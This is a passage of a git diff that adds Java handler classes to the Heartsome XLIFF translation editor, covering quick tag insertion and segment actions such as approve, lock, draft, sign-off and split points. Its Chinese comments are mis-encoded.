net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags; + +/** + * 快速æ’入标记 + * @author weachy + * @version + * @since JDK1.5 + */ +public class QuickTagsHandler3 extends AbstractInsertTagHandler { + + @Override + protected int getTagNum() { + return 3; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/tags/QuickTagsHandler4.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/tags/QuickTagsHandler4.java new file mode 100644 index 0000000..570dd0a --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/tags/QuickTagsHandler4.java @@ -0,0 +1,15 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags; + +/** + * 快速æ’入标记 + * @author weachy + * @version + * @since JDK1.5 + */ +public class QuickTagsHandler4 extends AbstractInsertTagHandler { + + @Override + protected int getTagNum() { + return 4; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/tags/QuickTagsHandler5.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/tags/QuickTagsHandler5.java new file mode 100644 index 0000000..48c7b34 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/tags/QuickTagsHandler5.java @@ -0,0 +1,15 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags; + +/** + * 快速æ’入标记 + * @author weachy + * @version + * @since JDK1.5 + */ +public class QuickTagsHandler5 extends AbstractInsertTagHandler { + + @Override + protected int getTagNum() { + return 5; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/tags/QuickTagsHandler6.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/tags/QuickTagsHandler6.java new file mode 100644 index 0000000..5694434 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/tags/QuickTagsHandler6.java @@ -0,0 +1,15 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags; + +/** + * 快速æ’入标记 + * @author weachy + * @version + * @since JDK1.5 + */ +public class QuickTagsHandler6 extends AbstractInsertTagHandler { + + @Override + protected int getTagNum() { + return 6; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/tags/QuickTagsHandler7.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/tags/QuickTagsHandler7.java new file mode 100644 index 0000000..daf6048 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/tags/QuickTagsHandler7.java @@ -0,0 +1,15 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags; + +/** + * 快速æ’入标记 + * @author weachy + * @version + * @since JDK1.5 + */ +public class QuickTagsHandler7 extends AbstractInsertTagHandler { + + @Override + protected int getTagNum() { + return 7; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/tags/QuickTagsHandler8.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/tags/QuickTagsHandler8.java new file mode 100644 index 0000000..8e330d4 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/tags/QuickTagsHandler8.java @@ -0,0 +1,15 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags; + +/** + * 快速æ’入标记 + * @author weachy + * @version + * @since JDK1.5 + */ +public class QuickTagsHandler8 extends AbstractInsertTagHandler { + + @Override + protected int getTagNum() { + return 8; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/tags/QuickTagsHandler9.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/tags/QuickTagsHandler9.java new file mode 100644 index 0000000..2f9bbf6 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/tags/QuickTagsHandler9.java @@ -0,0 +1,15 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags; + +/** + * 快速æ’入标记 + * @author weachy + * @version + * @since JDK1.5 + */ +public class QuickTagsHandler9 extends AbstractInsertTagHandler { + + @Override + protected int getTagNum() { + return 9; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/translation/AddSegmentToTMHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/translation/AddSegmentToTMHandler.java new file mode 100644 index 0000000..a9b5ce4 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/translation/AddSegmentToTMHandler.java @@ -0,0 +1,105 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.translation; + +import java.util.Arrays; + +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.view.IMatchViewPart; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiActiveCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiCellEditorControl; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.resource.Messages; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IViewPart; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * 添加选中文本段到记忆库的 Handler + * @author peason + * @version + * @since JDK1.6ï½€ + */ +public class AddSegmentToTMHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (!(editor instanceof XLIFFEditorImplWithNatTable)) { + return null; + } + XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editor; + String addSegmentToTM = event.getParameter("addSegmentToTM"); + if (addSegmentToTM == null) { + return null; + } + NattableUtil util = NattableUtil.getInstance(xliffEditor); + HsMultiActiveCellEditor.commit(true); + boolean state = util.addSelectSegmentToTM(); + if (!state) { + return null; + } + if (addSegmentToTM.equals("addToTMAndJumpNext")) { + // 添加到记忆库并跳转到下一文本段 + int[] selectedRows = xliffEditor.getSelectedRows(); + if (selectedRows.length < 1) { + return null; + } + Arrays.sort(selectedRows); + int lastSelectedRow = selectedRows[selectedRows.length - 1]; + // å‡å¦‚当å‰é€‰æ‹©äº†ç¬¬1,3行,则跳转到下一文本段时是跳转到第2è¡Œ + for (int rowNum = 0; rowNum < selectedRows.length - 1; rowNum++) { + if (selectedRows[rowNum + 1] != (selectedRows[rowNum] + 1)) { + lastSelectedRow = rowNum; + break; + } + } + XLFHandler handler = xliffEditor.getXLFHandler(); + int lastRow = handler.countEditableTransUnit() - 1; + if (lastSelectedRow == lastRow) { + lastSelectedRow = lastRow - 1; + } + xliffEditor.jumpToRow(lastSelectedRow + 1); + + } else if (addSegmentToTM.equals("addToTMAndJumpNextNotCompleteMatch")) { + // 添加到记忆库并跳转到下一éžå®Œå…¨åŒ¹é… + int[] selectedRows = xliffEditor.getSelectedRows(); + if (selectedRows.length < 1) { + return null; + } + Arrays.sort(selectedRows); + int lastSelectedRow = selectedRows[selectedRows.length - 1]; + // å‡å¦‚当å‰é€‰æ‹©äº†ç¬¬1,3行,则跳转到下一éžå®Œå…¨åŒ¹é…文本段时è¦ä»Žç¬¬2行开始检查 + for (int rowNum = 0; rowNum < selectedRows.length - 1; rowNum++) { + if (selectedRows[rowNum + 1] != (selectedRows[rowNum] + 1)) { + lastSelectedRow = rowNum; + break; + } + } + XLFHandler handler = xliffEditor.getXLFHandler(); + + int row = handler.getNextFuzzySegmentIndex(lastSelectedRow); + if (row != -1) { + xliffEditor.jumpToRow(row); + } else { + MessageDialog.openInformation(HandlerUtil.getActiveShell(event), + Messages.getString("translation.AddSegmentToTMHandler.msgTitle"), + Messages.getString("translation.AddSegmentToTMHandler.msg")); + } + } else { + IViewPart viewPart = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage().findView( + "net.heartsome.cat.ts.ui.translation.view.matchview"); + int[] selected =xliffEditor.getSelectedRows(); + if (viewPart != null && viewPart instanceof IMatchViewPart && selected.length != 0) { + ((IMatchViewPart) viewPart).reLoadMatches(xliffEditor, selected[selected.length - 1]); + } + HsMultiCellEditorControl.activeSourceAndTargetCell(xliffEditor); + } + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/translation/ApproveSegmentHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/translation/ApproveSegmentHandler.java new file mode 100644 index 0000000..8a17d51 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/translation/ApproveSegmentHandler.java @@ -0,0 +1,42 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.translation; + +import java.util.List; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiActiveCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * 是å¦æ‰¹å‡†å¯ç¼–辑/所有文本段的 Handler + * @author peason + * @version + * @since JDK1.6 + */ +public class ApproveSegmentHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) { + IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (editor instanceof XLIFFEditorImplWithNatTable) { + final XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editor; + List rowIds = xliffEditor.getSelectedRowIds(); + + + if (rowIds.size() == 0) { + return null; + } + + String parameter = event.getParameter("approveSegment"); + if (parameter != null) { + HsMultiActiveCellEditor.commit(true); + NattableUtil util = NattableUtil.getInstance(xliffEditor); + util.approveTransUnits(parameter.equalsIgnoreCase("approveAndJumpNext")); // 执行批准 + } + } + return null; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/translation/DraftSegmentHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/translation/DraftSegmentHandler.java new file mode 100644 index 0000000..c44926e --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/translation/DraftSegmentHandler.java @@ -0,0 +1,35 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.translation; + +import java.util.List; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * è‰ç¨¿ + * @author peason + * @version + * @since JDK1.6 + */ +public class DraftSegmentHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (editor instanceof XLIFFEditorImplWithNatTable) { + XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editor; + NattableUtil util = NattableUtil.getInstance(xliffEditor); + List selectedRowIds = util.getRowIdsNoEmptyTranslate(false); + if (selectedRowIds != null && selectedRowIds.size() > 0) { + util.changeTgtState(selectedRowIds, "new"); + } + } + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/translation/LockSegmentHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/translation/LockSegmentHandler.java new file mode 100644 index 0000000..6e9ccd2 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/translation/LockSegmentHandler.java @@ -0,0 +1,85 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.translation; + +import java.util.ArrayList; + +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiActiveCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * 翻译èœå•ä¸‹ï¼Œé”定文本段ï¼ï¼ï¼žé”定文本段的 handler + * @author robert 2012-05-02 修改 + * @version + * @since JDK1.6 + */ +public class LockSegmentHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + // 这是之å‰çš„实现方å¼ï¼Œè¿™æ˜¯é”定文本段。é”定全部文本段,é”定å¯ç¼–è¾‘æ–‡æœ¬æ®µçš„å…±åŒ handler,--robert 2012-05-02 + // String lockSegment = event.getParameter("lockSegment"); + // if (lockSegment == null) { + // return null; + // } + // State state = event.getCommand().getState(RegistryToggleState.STATE_ID); + // boolean isSelect = (Boolean) (state.getValue()); + // state.setValue(!isSelect); + // IEditorPart editor = HandlerUtil.getActiveEditor(event); + // if (editor instanceof XLIFFEditorImplWithNatTable) { + // XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editor; + // + // // 批准å¯ç¼–辑文本段时è¦åˆå§‹åŒ– rowIds ,批准所有文本段则ä¸éœ€è¦ + // if (lockSegment.equals("lockDuplicateSegment")) { + // // TODO 解决如何高效获å–é‡å¤æ–‡æœ¬æ®µåŽå†åš + // + // } else { + // ArrayList rowIds = null; + // if (lockSegment.equals("lockEditableSegment")) { + // rowIds = xliffEditor.getXLFHandler().getRowIds(); + // } else if (lockSegment.equals("lockAllSegment")) { + // rowIds = null; + // } + // NattableUtil util = new NattableUtil(xliffEditor); + // util.lockTransUnits(rowIds, !isSelect); + // // 改å˜å•å…ƒæ ¼ç¼–辑器模å¼ä¸ºâ€œåªè¯»â€ + // util.changeCellEditorMode(rowIds, null); + // // TODO 入库 + // + // } + // + // } + + IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (editor instanceof XLIFFEditorImplWithNatTable) { + XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editor; + XLFHandler handler = xliffEditor.getXLFHandler(); + + ArrayList rowIds = (ArrayList) xliffEditor.getSelectedRowIds(); + ArrayList needLockRowIds = new ArrayList(); + // 先判断所有的选择文本段的是å¦é”å®šçŠ¶æ€ + for (String rowId : rowIds) { + if (!handler.isLocked(rowId)) { + needLockRowIds.add(rowId); + } + } + NattableUtil util = NattableUtil.getInstance(xliffEditor); + // 如果都是é”定状æ€çš„,那么把它们都å˜æˆæœªé”定 + if (needLockRowIds.size() <= 0) { + util.lockTransUnits(rowIds, false); + } else { + util.lockTransUnits(needLockRowIds, true); + // 改å˜å•å…ƒæ ¼ç¼–辑器模å¼ä¸ºâ€œåªè¯»â€ + // util.changeCellEditorMode(rowIds, null); + } + HsMultiActiveCellEditor.refrushCellsEditAbility(); + } + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/translation/NeedReviewSegmentHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/translation/NeedReviewSegmentHandler.java new file mode 100644 index 0000000..8c369b1 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/translation/NeedReviewSegmentHandler.java @@ -0,0 +1,43 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.translation; + +import java.util.List; + +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * 有疑问的 Handler + * @author peason + * @version + * @since JDK1.6 + */ +public class NeedReviewSegmentHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (editor instanceof XLIFFEditorImplWithNatTable) { + XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editor; + XLFHandler handler = xliffEditor.getXLFHandler(); + List selectedRowIds = xliffEditor.getSelectedRowIds(); + boolean isNeedReview = true; + //先判断所有的选择文本段的是å¦é”å®šçŠ¶æ€ + for(String rowId : selectedRowIds){ + if (!handler.isNeedReview(rowId)) { + isNeedReview = false; + break; + } + } + NattableUtil util = NattableUtil.getInstance(xliffEditor); + util.changIsQuestionState(selectedRowIds, isNeedReview ? "no" : "yes"); + } + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/translation/NotSendToTMHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/translation/NotSendToTMHandler.java new file mode 100644 index 0000000..c543900 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/translation/NotSendToTMHandler.java @@ -0,0 +1,44 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.translation; + +import java.util.List; + +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * ä¸æ·»åŠ åˆ°è®°å¿†åº“ + * @author peason + * @version + * @since JDK1.6 + */ +public class NotSendToTMHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (editor instanceof XLIFFEditorImplWithNatTable) { + XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editor; + List selectedRowIds = xliffEditor.getSelectedRowIds(); + if (selectedRowIds != null && selectedRowIds.size() > 0) { + boolean isSendtoTm = true; + XLFHandler handler = xliffEditor.getXLFHandler(); + for (String rowId : selectedRowIds) { + if (!handler.isSendToTM(rowId) && isSendtoTm) { + isSendtoTm = false; + break; + } + } + NattableUtil util = NattableUtil.getInstance(xliffEditor); + util.changeSendToTmState(selectedRowIds, isSendtoTm ? "yes" : "no"); + } + } + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/translation/SignedOffSegmentHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/translation/SignedOffSegmentHandler.java new file mode 100644 index 0000000..e4e7d02 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/translation/SignedOffSegmentHandler.java @@ -0,0 +1,29 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.translation; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * 执行签å‘çš„ Handler + * @author peason + * @version + * @since JDK1.6 + */ +public class SignedOffSegmentHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (!(editor instanceof XLIFFEditorImplWithNatTable)) { + return null; + } + XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editor; + NattableUtil.getInstance(xliffEditor).changeToSignedOffState(); + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/translation/SplitPointSettingHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/translation/SplitPointSettingHandler.java new file mode 100644 index 0000000..4886e9a --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/translation/SplitPointSettingHandler.java @@ -0,0 +1,86 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.translation; + +import java.util.List; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.resource.Messages; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.handlers.HandlerUtil; +import org.eclipse.ui.part.FileEditorInput; + +/** + * 设置 XLIFF 分割点 + * @author peason + * @version + * @since JDK1.6 + */ +public class SplitPointSettingHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (editor instanceof XLIFFEditorImplWithNatTable) { + XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editor; + if (xliffEditor.isMultiFile()) { + MessageDialog.openInformation(HandlerUtil.getActiveShell(event), + Messages.getString("menu.BodyMenuConfiguration.msgTitle"), + Messages.getString("menu.BodyMenuConfiguration.msg7")); + return null; + } + List selectedRowIds = xliffEditor.getSelectedRowIds(); + boolean isSplitPointExist = false; + if (selectedRowIds != null && selectedRowIds.size() > 0) { + for (String rowId : selectedRowIds) { + if (xliffEditor.getSplitXliffPoints().contains(rowId)) { + isSplitPointExist = true; + } else { + isSplitPointExist = false; + break; + } + } + if (!isSplitPointExist) { + String xlfPath = ((FileEditorInput) xliffEditor.getEditorInput()).getFile().getLocation() + .toOSString(); + for (String rowId : selectedRowIds) { +// String firstTURowId = xliffEditor.getXLFHandler().getRowIdByXpath(xlfPath, +// "/xliff/file[1]/body/descendant::trans-unit[1]"); +// if (firstTURowId != null && firstTURowId.equals(rowId)) { +// MessageDialog.openInformation(HandlerUtil.getActiveShell(event), +// Messages.getString("menu.BodyMenuConfiguration.msgTitle"), +// Messages.getString("menu.BodyMenuConfiguration.msg8")); +// continue; +// } + String lastTURowid = xliffEditor.getXLFHandler().getRowIdByXpath(xlfPath, + "/xliff/file[last()]/body/descendant::trans-unit[last()]"); + if (lastTURowid != null && lastTURowid.equals(rowId)) { + MessageDialog.openInformation(HandlerUtil.getActiveShell(event), + Messages.getString("menu.BodyMenuConfiguration.msgTitle"), + Messages.getString("menu.BodyMenuConfiguration.msg9")); + continue; + } + if (!xliffEditor.getSplitXliffPoints().contains(rowId)) { + // 将切割点的åºåˆ—å·æ·»åŠ åˆ°List中 + xliffEditor.getSplitXliffPoints().add(rowId); + xliffEditor.getTable().redraw(); + } + } + } else { + for (String rowId : selectedRowIds) { + if (xliffEditor.getSplitXliffPoints().contains(rowId)) { + // 删除切割点 + int index = xliffEditor.getSplitXliffPoints().indexOf(rowId); + xliffEditor.getSplitXliffPoints().remove(index); + xliffEditor.getTable().redraw(); + } + } + } + } + } + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/translation/UnTranslatedSegmentHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/translation/UnTranslatedSegmentHandler.java new file mode 100644 index 0000000..c16f4c9 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/translation/UnTranslatedSegmentHandler.java @@ -0,0 +1,19 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.translation; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; + +/** + * 未翻译 + * @author peason + * @version + * @since JDK1.6 + */ +public class UnTranslatedSegmentHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/translation/UnlockSegmentHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/translation/UnlockSegmentHandler.java new file mode 100644 index 0000000..d7022a5 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/translation/UnlockSegmentHandler.java @@ -0,0 +1,32 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.translation; + +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiActiveCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * 给当å‰ç•Œé¢æ‰€æ˜¾ç¤ºçš„æ‰€æœ‰æ–‡æœ¬æ®µè§£é” + * @author robert 2012-09-24 + */ +public class UnlockSegmentHandler extends AbstractHandler{ + + public Object execute(ExecutionEvent event) throws ExecutionException { + IEditorPart part = HandlerUtil.getActiveEditor(event); + if (part instanceof XLIFFEditorImplWithNatTable) { + final XLIFFEditorImplWithNatTable nattable = (XLIFFEditorImplWithNatTable) part; + XLFHandler handler = nattable.getXLFHandler(); + handler.unlockSegment(); + nattable.refresh(); + HsMultiActiveCellEditor.refrushCellsEditAbility(); + } + + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/layer/HorizontalViewportLayer.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/layer/HorizontalViewportLayer.java new file mode 100644 index 0000000..4e175f4 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/layer/HorizontalViewportLayer.java @@ -0,0 +1,94 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.layer; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiActiveCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiCellEditorControl; +import 